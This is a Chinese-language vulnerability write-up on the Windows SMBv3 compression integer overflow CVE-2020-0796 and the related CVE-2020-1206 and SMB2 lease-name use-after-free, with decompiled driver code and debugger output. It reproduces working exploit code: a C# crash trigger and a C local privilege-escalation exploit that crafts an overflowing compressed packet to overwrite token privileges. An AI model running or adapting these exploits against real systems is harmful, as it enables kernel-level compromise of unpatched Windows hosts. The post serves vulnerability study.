SMB协议漏洞分析
thund**** 漏洞分析 14090浏览 · 2021-01-19 10:02

简介

最近看了一些关于SMB的分析文章,准备总结一下,主要介绍SMB协议在前段时间出的CVE-2020-0796相关漏洞。下面简单介绍一下SMB的相关知识。

SMB协议参考官方文档给的说明,大致作用如下,SMB版本1.0协议实现必须实现CIFS协议,而CIFS再往下就可以由TCP实现,大部分功能是文件系统的功能,端口在445端口,具体内容可以参考文档协议示例部分

客户端系统使用通用网络文件系统(CIFS)协议通过网络从服务器系统请求文件和打印服务。SMB则是对此协议的扩展,提供了附加的安全性,文件和磁盘管理支持。这些扩展不会改变CIFS协议的基本消息顺序,但会引入新的标志,扩展的请求和响应以及新的信息级别。

之前爆出的SMB漏洞主要是在SMB2之后的版本,SMB协议版本2和3,它们支持在机器之间共享文件和打印资源,并扩展了SMB1。Windows上对应的模块是 srv2.sys

SMB2数据包格式与SMB1完全不同。其所有功能参考官方文档里面 1.3 Overview 部分,连接顺序大致如下

  • 客户端建立与服务器的连接
  • 在该连接上建立经过身份验证的上下文
  • 发出各种请求来访问文件,打印机和命名管道以进行进程间通信。

CVE-2020-0796

前置知识

这个漏洞出在SMB2的压缩功能,要使用这个功能首先需要建立基本连接,要建立基本连接首先需要知道这个包是怎么构造出来的,在协议2.1部分说明了包头是如何组成的,协议支持几种传输方式,这里直接按照包格式选用Direct TCP头即可

其中第三个字段是SMB2Message,也就是SMB2的消息,这个消息也有一个头结构,在文档[MS-SMB2]的2.2.1部分可以找到,分为同步和异步两种头,拿异步头结构来举例,结构如下

字段长度如下所示,各个字段的意义有点多这里就不贴出来了,可以参考官方文档,非常详细

ProtocolId                        (4 bytes)
StructureSize                     (2 bytes)
CreditCharge                      (2 bytes)
(ChannelSequence/Reserved)/Status (4 bytes)
ChannelSequence                   (2 bytes)
Reserved                          (2 bytes)
Status                            (4 bytes)
Command                           (2 bytes)
CreditRequest/CreditResons        (2 bytes)
Flags                             (4 bytes)
NextCommand                       (4 bytes)
MessageId                         (8 bytes)
AsyncId                           (8 bytes)
SessionId                         (8 bytes)
Signature                         (16 bytes)

有了上面的基础,构造这个SMB2协议包就很简单了,包层次结构如下

Direct TCP header -> SMB2 header -> SMB data

下面需要解决连接顺序,官方文档中可以知道,这个协议初始化阶段有几种类型的包,如下图,图自这里

图中的包在文档里都有对应的结构,感兴趣的朋友可以对应文档看看。

漏洞分析

前面提到过这个漏洞存在于srv2.sys的压缩功能,涉及到的包结构如下,对应文档2.2.42 SMB2 COMPRESSION_TRANSFORM_HEADER,结合压缩包这个名字,来看理解一下各个字段的含义,第一个字段ProtocolId固定不变,第二个字段指定原始未压缩数据大小,也就是这块数据有压缩的也有不压缩的,这里是指定不压缩的大小,第三个字段指定压缩算法,第四个为一个标志,不同的标志影响第五个参数的意义,第五个参数这里只用到offset的意义,表示数据包中压缩数据相对于当前结构的偏移。

借用看雪论坛一位师傅画的图片,非常清晰,结构如下

下面看一下漏洞函数,涉及的函数是Srv2DecompressData,根据名字可以猜测到,此函数负责解压上面结构的数据,其中会调用到SmbCompressionDecompress函数负责解压数据,而在这之前会调用SrvNetAllocateBuffer函数负责申请内存,然而这个函数的参数并没有检查是否溢出,这个函数的参数刚好是original size + Offset的大小,完全由用户控制,溢出就会申请很小的内存,然而实际后面解压操作的内存比申请的大很多,导致了漏洞的产生。

__int64 __fastcall Srv2DecompressData(__int64 a1)
{
  __int64 v2; // rax
  __m128i v3; // xmm0
  unsigned int Algorithm; // ebp
  __int64 v7; // rbx MAPDST
  int v8; // eax
  __m128i Size; // [rsp+30h] [rbp-28h]
  int v10; // [rsp+60h] [rbp+8h] BYREF

  v10 = 0;
  v2 = *(_QWORD *)(a1 + 240);
  if ( *(_DWORD *)(v2 + 36) < 0x10u )
    return 0xC000090Bi64;
  Size = *(__m128i *)*(_QWORD *)(v2 + 24);
  v3 = _mm_srli_si128(Size, 8);                 // 4 bytes + 4 bytes
                                                // offset + compression algorithm
  Algorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
  if ( Algorithm != v3.m128i_u16[0] )
    return 0xC00000BBi64;
  v7 = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v3.m128i_i32[1]), 0i64);// original size + Offset
  if ( !v7 )
    return 0xC000009Ai64;
  if ( (int)SmbCompressionDecompress(
              Algorithm,
              *(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + Size.m128i_u32[3] + 0x10i64,
              (unsigned int)(*(_DWORD *)(*(_QWORD *)(a1 + 240) + 36i64) - Size.m128i_i32[3] - 0x10),
              Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18),
              Size.m128i_i32[1],
              &v10) < 0
    || (v8 = v10, v10 != Size.m128i_i32[1]) )
  {
    SrvNetFreeBuffer(v7);
    return 0xC000090Bi64;
  }
  if ( Size.m128i_i32[3] )
  {
    memmove(
      *(void **)(v7 + 0x18),
      (const void *)(*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + 0x10i64),
      Size.m128i_u32[3]);                       // Offset
    v8 = v10;
  }
  *(_DWORD *)(v7 + 36) = Size.m128i_i32[3] + v8;
  Srv2ReplaceReceiveBuffer(a1, v7);
  return 0i64;
}

漏洞利用

有几种方式构造,Python最为方便,我测试的时候C#、C、Python都试过,其中C#最为复杂,不过也最为官方,使用的是微软提供的一套协议测试框架,不过zecops已经有人写好了,在这里可以找到,其模板参考synacktiv之前发的文章,改动了大致下面几个文件和内容,需要注意的是,在编译的时候需要安装指定.NET版本并提前编译好一些模块,然后导入才可以正常编译后续的exe

Smb2CompressedPacketed.cs    // 修改包类型
Smb2ClientTransport.cs       // 修改指定压缩算法
Smb2Compression.cs           // 修改压缩函数实现触发
Smb2CompressionForChained.cs // 删除此文件指定第五字段为offset

下面是synacktiv发出来的部分代码,直接写在了Smb2Compression.cs里面

// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
  /// <summary>
    /// SMB2 Compression Utility.
    /// </summary>
    public static class Smb2Compression
    {
    private static uint i = 0;

    /// <summary>
    /// Compress SMB2 packet.
    /// </summary>
    /// <param name="packet">The SMB2 packet.</param>
    /// <param name="compressionInfo">Compression info.</param>
    /// <param name="role">SMB2 role.</param>
    /// <param name="offset">The offset where compression start, default zero.</param>
    /// <returns></returns>
    public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
    {
        var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);

        /*if (compressionAlgorithm == CompressionAlgorithm.NONE)
        {
            return packet;
        }*/

        // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
        if (i < 3)
        {
            i++;
            return packet;
        }

        var packetBytes = packet.ToBytes();

        var compressor = GetCompressor(compressionAlgorithm);

        // HACK: Insane length to trigger the integrer overflow
        offset = 0xffffffff;

        var compressedPacket = new Smb2CompressedPacket();
        compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
        compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
        compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
        compressedPacket.Header.Reserved = 0;
        compressedPacket.Header.Offset = offset;
        compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
        compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());

        var compressedPackectBytes = compressedPacket.ToBytes();

        // HACK: force compressed packet to be sent
        return compressedPacket;

        // Check whether compression shrinks the on-wire packet size
        // if (compressedPackectBytes.Length < packetBytes.Length)
        // {
        //     compressedPacket.OriginalPacket = packet;
        //     return compressedPacket;
        // }
        // else
        // {
        //     return packet;
        // }
    }
  }
}

namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
  class Program
  {
    static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
    {
      Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
      client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };

      // NEGOTIATION is done in "plaintext", this is the call within UserLogon:
      //      client.Negotiate(
      //          0,
      //          1,
      //          Packet_Header_Flags_Values.NONE,
      //          messageId++,
      //          new DialectRevision[] { DialectRevision.Smb311 },
      //          SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
      //          Capabilities_Values.NONE, 
      //          clientGuid,
      //          out selectedDialect,
      //          out gssToken,
      //          out header,
      //          out negotiateResp,
      //          preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 },  // apprently mandatory for compression
      //          compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
      //      );
      if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
        return;

      // From now on, we compress every new packet
      client.CompressionInfo.CompressAllPackets = true;

      // Get tree information about a remote share (which does not exists)
      TREE_CONNECT_Response treeConnectResp;
      string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);

      // trigger crash here
      client.TreeConnect(
          1,
          1,
          Packet_Header_Flags_Values.FLAGS_SIGNED,
          messageId++,
          sessionId,
          uncSharePath,
          out treeId,
          out header,
          out treeConnectResp
      );
    }

    static void Main(string[] args)
    {
        Console.WriteLine("Hello World!");

        Logger logger = new Logger();
        AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");

        BranchCacheDetector bcd = new BranchCacheDetector(
            logger,
            "DESKTOP-SMBVULN",
            "DESKTOP-SMBVULN",
            accountCredential
            );

        DetectionInfo info = new DetectionInfo();
        info.SelectedTransport = "SMB2";
        info.ContentServerName = "DESKTOP-SMBVULN";

        info.UserName = "Ghost";
        info.Password = "Ghost";

        TriggerCrash(bcd,info);

        Console.WriteLine("Goodbye World!");
    }
  }
}

我测试的时候是单独写了一个exe调用这些函数,感兴趣的朋友可以试一试,不过确实改起来比较麻烦,而且利用起来较为麻烦

// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.dll
// Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.dll
// Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib.dll

using System;
using Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2;
using Microsoft.Protocols.TestTools.StackSdk.Security.SspiLib;

namespace SMBTest
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("[+] CVE-2020-0796 POC");
            var server = "127.0.0.1";

            if (args.Length >= 1)
            {
                server = args[0];
            }

            Console.WriteLine("[+] Target server: " + server);
            Smb2ClientTransport Client = new Smb2ClientTransport();
            var timeout = new TimeSpan(0, 0, 60);
            Console.WriteLine("[+] Trigger ...");
            Client.Connect(
                server,                   // [in] string server
                "",                       // [in] string client
                "",                       // [in] string domain
                "Thunder_J",              // [in] string userName
                "password",               // [in] string password
                timeout,                  // [in] TimeSpan timeout
                SecurityPackageType.Ntlm, // [in] SecurityPackageType securityPackage
                true                      // [in] bool useServerToken
            );
        }
    }
}

测试结果如下,1903未打此补丁的版本可以触发

调用栈如下,最终是在nt!RtlDecompressBufferXpressLz+0x50解压缩算法中出错

0: kd> k
 # Child-SP          RetAddr               Call Site
00 fffffb85`170821b8 fffff801`49b49492     nt!DbgBreakPointWithStatus
01 fffffb85`170821c0 fffff801`49b48b82     nt!KiBugCheckDebugBreak+0x12
02 fffffb85`17082220 fffff801`49a5f917     nt!KeBugCheck2+0x952
03 fffffb85`17082920 fffff801`49aa3b0a     nt!KeBugCheckEx+0x107
04 fffffb85`17082960 fffff801`4996c1df     nt!MiSystemFault+0x18fafa
05 fffffb85`17082a60 fffff801`49a6d69a     nt!MmAccessFault+0x34f
06 fffffb85`17082c00 fffff801`499fc750     nt!KiPageFault+0x35a
07 fffffb85`17082d98 fffff801`4990a666     nt!RtlDecompressBufferXpressLz+0x50
08 fffffb85`17082db0 fffff801`4dcae0bd     nt!RtlDecompressBufferEx2+0x66
09 fffffb85`17082e00 fffff801`484d7f41     srvnet!SmbCompressionDecompress+0xdd
0a fffffb85`17082e70 fffff801`484d699e     srv2!Srv2DecompressData+0xe1
0b fffffb85`17082ed0 fffff801`48519a7f     srv2!Srv2DecompressMessageAsync+0x1e
0c fffffb85`17082f00 fffff801`49a6304e     srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
0d fffffb85`17082f80 fffff801`49a6300c     nt!KxSwitchKernelStackCallout+0x2e
0e fffffb85`16df78f0 fffff801`4996345e     nt!KiSwitchKernelStackContinue
0f fffffb85`16df7910 fffff801`4996325c     nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
10 fffffb85`16df79b0 fffff801`499630d3     nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
11 fffffb85`16df7a20 fffff801`4996308d     nt!KeExpandKernelStackAndCalloutInternal+0x33
12 fffffb85`16df7a90 fffff801`485197d7     nt!KeExpandKernelStackAndCalloutEx+0x1d
13 fffffb85`16df7ad0 fffff801`49fb34a7     srv2!RfspThreadPoolNodeWorkerRun+0x117
14 fffffb85`16df7b30 fffff801`499d3925     nt!IopThreadStart+0x37
15 fffffb85`16df7b90 fffff801`49a66d5a     nt!PspSystemThreadStartup+0x55
16 fffffb85`16df7be0 00000000`00000000     nt!KiStartSystemThread+0x2a

下面介绍一下C版本的利用代码,出自@danigargu and @dialluvioso_两位师傅,顺便解析一下本地提权的原理,这位师傅的代码还是写的很明白,不过这个代码实际上并没有完全实现初始化部分,send_negotiation协商包发送之后直接就开始发送压缩数据,所以初始化部分实际上只需要协商一次SMB2 NEGOTIATE包即可进行压缩操作。

int main(int argc, char* argv[]) {
    WORD wVersionRequested = MAKEWORD(2, 2);
    WSADATA wsaData = { 0 };
    SOCKET sock = INVALID_SOCKET;
    uint64_t ktoken = 0;

    int err = 0;

    printf("-= CVE-2020-0796 LPE =-\n");
    printf("by @danigargu and @dialluvioso_\n\n");

    if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {
        printf("WSAStartup() failed with error: %d\n", err);
        return EXIT_FAILURE;
    }

    if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
        printf("Couldn't find a usable version of Winsock.dll\n");
        WSACleanup();
        return EXIT_FAILURE;
    }

    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        printf("socket() failed with error: %d\n", WSAGetLastError());
        WSACleanup();
        return EXIT_FAILURE;
    }

    sockaddr_in client;
    client.sin_family = AF_INET;
    client.sin_port = htons(445);
    InetPton(AF_INET, "127.0.0.1", &client.sin_addr);

    if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {
        return error_exit(sock, "connect()");
    }

    printf("Successfully connected socket descriptor: %d\n", (int)sock);
    printf("Sending SMB negotiation request...\n");

    if (send_negotiation(sock) == SOCKET_ERROR) {
        printf("Couldn't finish SMB negotiation\n");
        return error_exit(sock, "send()");
    }

    printf("Finished SMB negotiation\n");
    ULONG buffer_size = 0x1110;
    UCHAR *buffer = (UCHAR *)malloc(buffer_size);
    if (buffer == NULL) {
        printf("Couldn't allocate memory with malloc()\n");
        return error_exit(sock, NULL);
    }

    ktoken = get_process_token();
    if (ktoken == -1) {
        printf("Couldn't leak ktoken of current process...\n");
        return EXIT_FAILURE;
    }

    printf("Found kernel token at %#llx\n", ktoken);

    memset(buffer, 'A', 0x1108);
    *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */

    ULONG CompressBufferWorkSpaceSize = 0;
    ULONG CompressFragmentWorkSpaceSize = 0;
    err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, 
        &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);

    if (err != STATUS_SUCCESS) {
        printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);
        return error_exit(sock, NULL);
    }

    ULONG FinalCompressedSize;
    UCHAR compressed_buffer[64];
    LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);
    if (lpWorkSpace == NULL) {
        printf("Couldn't allocate memory with malloc()\n");
        return error_exit(sock, NULL);
    }

    err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
        compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);

    if (err != STATUS_SUCCESS) {
        printf("RtlCompressBuffer() failed with error: %#x\n", err);
        free(lpWorkSpace);
        return error_exit(sock, NULL);
    }

    printf("Sending compressed buffer...\n");

    if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
        return error_exit(sock, "send()");
    }

    printf("SEP_TOKEN_PRIVILEGES changed\n");
    inject();

    WSACleanup();
    return EXIT_SUCCESS;
}

压缩函数实现如下,C的实现相比之前的要简单很多,直接编译运行是可以本地弹出一个计算器,不过首先需要介绍一下怎么利用

int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
    int err = 0;
    char response[8] = { 0 };

    const uint8_t buf[] = {
        /* NetBIOS Wrapper */
        0x00,
        0x00, 0x00, 0x33,

        /* SMB Header */
        0xFC, 0x53, 0x4D, 0x42, /* protocol id */
        0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
        0x02, 0x00,             /* compression algorithm, LZ77 */
        0x00, 0x00,             /* flags */
        0x10, 0x00, 0x00, 0x00, /* offset */
    };

    uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
    if (packet == NULL) {
        printf("Couldn't allocate memory with malloc()\n");
        return error_exit(sock, NULL);
    }

    memcpy(packet, buf, sizeof(buf));
    *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
    *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
    memcpy(packet + sizeof(buf) + 0x10, buffer, len);

    if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
        recv(sock, response, sizeof(response), 0);
    }

    free(packet);
    return err;
}

利用需要很了解内存布局,所以需要深入研究SrvNetAllocateBuffer函数,如下所示

__int64 __fastcall SrvNetAllocateBuffer(unsigned __int64 Size, __int64 a2)
{

  v2 = HIDWORD(KeGetPcr()[1].LockArray);
  v3 = 0;
  v5 = 0;
  if ( SrvDisableNetBufferLookAsideList || Size > 0x100100 )
  {
    if ( Size > 0x1000100 )
      return 0i64;
    v11 = SrvNetAllocateBufferFromPool(Size, Size);
  }
  else
  {
    if ( Size > 0x1100 )
    {
      v13 = Size - 0x100;
      _BitScanReverse64((unsigned __int64 *)&v14, v13);
      _BitScanForward64(&v15, v13);
      if ( (_DWORD)v14 == (_DWORD)v15 )
        v3 = v14 - 12;
      else
        v3 = v14 - 11;
    }
    v6 = SrvNetBufferLookasides[v3];
    v7 = *(_DWORD *)v6 - 1;
    if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
      v7 = (unsigned __int16)v2 + 1;
    v8 = v7;
    v9 = *(_QWORD *)(v6 + 32);
    v10 = *(_QWORD *)(v9 + 8 * v8);
    if ( !*(_BYTE *)(v10 + 112) )
      PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
    ++*(_DWORD *)(v10 + 20);
    v11 = (__int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
    if ( !v11 )
    {
      ++*(_DWORD *)(v10 + 24);
      v11 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, __int64))(v10 + 48))(// srvnet!PplGenericAllocateFunction
              *(unsigned int *)(v10 + 36),
              *(unsigned int *)(v10 + 44),
              *(unsigned int *)(v10 + 40),
              v10);
    }
    v5 = 2;
  }
  if ( !v11 )
    return v11;
  *(_WORD *)(v11 + 16) |= v5;
  *(_WORD *)(v11 + 18) = v3;
  *(_WORD *)(v11 + 20) = v2;
  if ( a2 )
  {
    v16 = *(_DWORD *)(a2 + 36);
    if ( v16 >= *(_DWORD *)(v11 + 32) )
      v16 = *(_DWORD *)(v11 + 32);
    v17 = *(void **)(v11 + 24);
    *(_DWORD *)(v11 + 36) = v16;
    memmove(v17, *(const void **)(a2 + 24), v16);
    v18 = *(_WORD *)(a2 + 22);
    if ( v18 )
    {
      *(_WORD *)(v11 + 22) = v18;
      memmove((void *)(v11 + 100), (const void *)(a2 + 100), 16i64 * *(unsigned __int16 *)(a2 + 22));
    }
  }
  else
  {
    *(_DWORD *)(v11 + 36) = 0;
  }
  return v11;
}

可以看到,进来就会判断Size参数的大小,如果小于0x1100则会走下面的路径,最终申请0x1278大小的内存

srvnet!SrvNetAllocateBuffer
-> srvnet!PplGenericAllocateFunction
-> srvnet!SrvNetBufferLookasideAllocate
-> srvnet!SrvNetAllocateBufferFromPool
-> ExAllocatePoolWithTag

内存也会在SrvNetAllocateBufferFromPool函数里面初始化,下面是初始化的部分,注释基于之前的参数小于0x1100

unsigned __int64 __fastcall SrvNetAllocateBufferFromPool(__int64 a1, unsigned __int64 a2)
{
  unsigned int v2; // esi
  unsigned __int64 v3; // rdi
  SIZE_T v4; // rax
  unsigned __int64 v5; // rbp
  __int64 v6; // rax
  SIZE_T Size; // rbx
  char *alloc_ptr; // rdx
  signed __int32 v9; // ecx
  int v10; // eax
  unsigned __int64 v11; // r9
  unsigned __int64 v12; // rdi
  unsigned __int64 v13; // r8
  int v14; // edx
  __int64 v15; // r9
  unsigned __int64 v16; // rdx
  __int64 v17; // r8
  unsigned __int64 result; // rax

  v2 = a2;
  if ( a2 > 0xFFFFFFFF )
    return 0i64;
  if ( (unsigned __int64)(unsigned int)a2 + 88 < (unsigned __int64)(unsigned int)a2 + 80 )
    return 0i64;
  v3 = (unsigned int)a2 + 232i64;
  if ( v3 < (unsigned __int64)(unsigned int)a2 + 88 )
    return 0i64;
  v4 = MmSizeOfMdl(0i64, (unsigned int)a2 + 232i64);
  v5 = v4 + 8;
  if ( v4 + 8 < v4 )
    return 0i64;
  v6 = 2 * v5;
  if ( !is_mul_ok(v5, 2ui64) )
    return 0i64;
  Size = v6 + v3;
  if ( v6 + v3 < v3 )
    return 0i64;
  if ( Size < 0x1000 )
  {
    Size = 0x1000i64;
  }
  else if ( Size > 0xFFFFFFFF )
  {
    return 0i64;
  }
  alloc_ptr = (char *)ExAllocatePoolWithTag((POOL_TYPE)0x200, Size, '00SL');// 0x1278
  if ( !alloc_ptr )
  {
    _InterlockedIncrement((volatile signed __int32 *)&WPP_MAIN_CB.Dpc.SystemArgument2);
    return 0i64;
  }
  v9 = Size + _InterlockedExchangeAdd((_DWORD *)&WPP_MAIN_CB.Dpc.SystemArgument1 + 1, Size);
  if ( (int)Size > 0 )
  {
    do
      v10 = HIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2);
    while ( v9 > SHIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2)
         && v10 != _InterlockedCompareExchange(
                     (_DWORD *)&WPP_MAIN_CB.Dpc.SystemArgument2 + 1,
                     v9,
                     SHIDWORD(WPP_MAIN_CB.Dpc.SystemArgument2)) );
  }
  v11 = (unsigned __int64)(alloc_ptr + 0x50);
  v12 = (unsigned __int64)&alloc_ptr[v2 + 87] & 0xFFFFFFFFFFFFFFF8ui64;// 申请的内存(0x1278大小)偏移0x1150处返回
                                                // if (size < 0x1100)
                                                // v12 == v8 + 0x1150
  *(_QWORD *)(v12 + 0x30) = alloc_ptr;
  *(_QWORD *)(v12 + 0x50) = (v12 + v5 + 0x97) & 0xFFFFFFFFFFFFFFF8ui64;
  v13 = (v12 + 0x97) & 0xFFFFFFFFFFFFFFF8ui64;
  *(_QWORD *)(v12 + 0x18) = alloc_ptr + 0x50;
  *(_QWORD *)(v12 + 0x38) = v13;
  *(_WORD *)(v12 + 0x10) = 0;
  *(_WORD *)(v12 + 0x16) = 0;
  *(_DWORD *)(v12 + 0x20) = v2;                 // Size
  *(_DWORD *)(v12 + 0x24) = 0;
  v14 = ((_WORD)alloc_ptr + 0x50) & 0xFFF;
  *(_DWORD *)(v12 + 0x28) = Size;               // 0x1278
  *(_DWORD *)(v12 + 0x40) = 0;
  *(_QWORD *)(v12 + 0x48) = 0i64;
  *(_QWORD *)(v12 + 0x58) = 0i64;
  *(_DWORD *)(v12 + 0x60) = 0;
  *(_QWORD *)v13 = 0i64;
  *(_WORD *)(v13 + 8) = 8 * ((((unsigned __int16)v14 + (unsigned __int64)v2 + 0xFFF) >> 12) + 6);
  *(_WORD *)(v13 + 0xA) = 0;
  *(_QWORD *)(v13 + 0x20) = v11 & 0xFFFFFFFFFFFFF000ui64;
  *(_DWORD *)(v13 + 0x2C) = v14;
  *(_DWORD *)(v13 + 0x28) = v2;
  MmBuildMdlForNonPagedPool(*(PMDL *)(v12 + 56));
  MmMdlPageContentsState(*(_QWORD *)(v12 + 56), 1i64);
  *(_WORD *)(*(_QWORD *)(v12 + 56) + 10i64) |= 0x1000u;
  v15 = *(_QWORD *)(v12 + 0x50);
  v16 = *(_QWORD *)(v12 + 0x18) & 0xFFFFFFFFFFFFF000ui64;
  v17 = *(_QWORD *)(v12 + 0x18) & 0xFFFi64;
  result = v12;
  *(_QWORD *)v15 = 0i64;
  *(_WORD *)(v15 + 8) = 8 * (((v17 + (unsigned __int64)v2 + 0xFFF) >> 12) + 6);
  *(_WORD *)(v15 + 0xA) = 0;
  *(_QWORD *)(v15 + 0x20) = v16;
  *(_DWORD *)(v15 + 0x2C) = v17;
  *(_DWORD *)(v15 + 0x28) = v2;
  *(_WORD *)(*(_QWORD *)(v12 + 80) + 10i64) |= 4u;
  return result;
}

由于懒得自己画结构图,下面就又参考一个画的非常好的图片,图片来自这里,可以看到SrvNetAllocateBuffer函数返回的结构+0x18偏移指向User Buffer,这个缓冲区就用于存放解压之后的数据,其大小就是我们可控的溢出大小

下图左边则是我们构造的压缩包,右边则是实际申请的内存布局,Raw Data是不需要压缩的数据,Compressed Data是需要压缩的数据,后面SmbCompressionDecompress函数就主要负责解压我们传入的数据Compressed Data,返回解压之后的数据到右图Decompressed Data处,正常情况下是没有溢出的

调试结果如下,下面为 SrvNetAllocateBuffer 函数的返回值,该地址偏移0x18处的地址至该地址的距离正好为 0xffffb31b2d5dd150 - 0xffffb31b2d5dc050 = 0x1100

2: kd> dd ffffb31b2d5dc050 + 1100
ffffb31b`2d5dd150  00000000 00000000 00001000 0077006f
ffffb31b`2d5dd160  00000000 00000002 (2d5dc050 ffffb31b) -> +0x18

但由于整数溢出,User Buffer空间变小,不足以容纳预期的大小,就会导致溢出

利用溢出就需要知道这个地方是如何拷贝的,就需要深入研究SmbCompressionDecompress解压缩函数的实现,下面是调用链

srv2!Srv2DecompressData 
-> srvnet!SmbCompressionDecompress
-> nt!RtlDecompressBufferEx2
-> nt!RtlDecompressBufferXpressLz
-> qmemcpy

在解压时覆盖后面 Srvnet Buffer Header 结构体中的User Buffer指针,也就是前面提过的0x18偏移处的指针,这就会导致将Raw Data的数据拷贝到我们指定的地方,那也就是任意写,本地提权任意写的话直接写SEP_TOKEN_PRIVILEGES就行,作者也是这个想法,之后的操作就是提权的常规操作了,也没什么好介绍的了

// SEP_TOKEN_PRIVILEGES
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */

// Raw Data
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;

CVE-2020-1206

对于0796想要远程利用,就得有一个信息泄露的洞,仔细回想前面这个0796,你会发现可控的东西实在是太多了,这也就衍生出了CVE-2020-1206,实际上原理非常简单,还是一个地方,我们将offset设置为0,OriginalSize设置为一个比较大的值,那也就可以越界读到后面的数据,比如下图,如果能设置为1的话实际就解压出1字节的数据,后面紧跟着一堆泄露的东西,这样就可以泄露出内核信息,配合之前的任意写,就可以实现RCE,当然没有说的那么简单,感兴趣的朋友可以参考这里

总结

前面主要总结的是0796这个洞的学习过程,有很多写的很好的文章,我都放在前面超链接里面了,SMB的攻击面还是比较清晰的,前段时间k0shl师傅在SMB里面也找到了一个信息泄露的洞,简单看了一下patch是一个UAF,涉及到SMB2 SET_INFO消息,k0哥也在博客里面分析了,下面是patch前代码

signed __int64 __fastcall Smb2UpdateLeaseFileName(__int64 a1, _WORD *a2, unsigned int a3)
{
      [...]
      v12 = (unsigned __int16)v4 + 2 * v11; // <------ get completely file name([filename]:[leasename]) length
      [...]
      if ( v12 > *(unsigned __int16 *)(v6 + 0x18A) )// <------ if file name is longer than old
        {
          v13 = ExAllocatePoolWithTag((POOL_TYPE)0x200, v12, 0x6C32534Cu); // <------ allocate a new buffer
          if ( !v13 )
          {
            v3 = -1073741670;
            goto LABEL_16;
          }
          if ( *(_BYTE *)(v6 + 114) )  // <------- [1]
            ExFreePoolWithTag(*(PVOID *)(v6 + 400), 0);// <------ free old buffer
          if ( v11 )
            memmove(v13, *(const void **)(v6 + 400), 2i64 * v11); // <------- copy free buffer,trigger use after free.
          *(_WORD *)(v6 + 394) = v12;
          *(_QWORD *)(v6 + 400) = v13;
          *(_BYTE *)(v6 + 114) = 1; // <------- [2]
        }
       memmove((void *)(*(_QWORD *)(v6 + 400) + 2i64 * v11), v5, (unsigned __int16)v4);// <------- copy new lease name
      [...]
}

下面是patch之后代码,我就不过多分析了,感兴趣的朋友可以自行研究构造

signed __int64 __fastcall Smb2UpdateLeaseFileName(__int64 a1, _WORD *a2, unsigned int a3)
{
  [...]
  if ( v12 )
    memmove(v15, *(const void **)(v6 + 0x190), 2i64 * v12);
  if ( *(_BYTE *)(v6 + 0x72) )
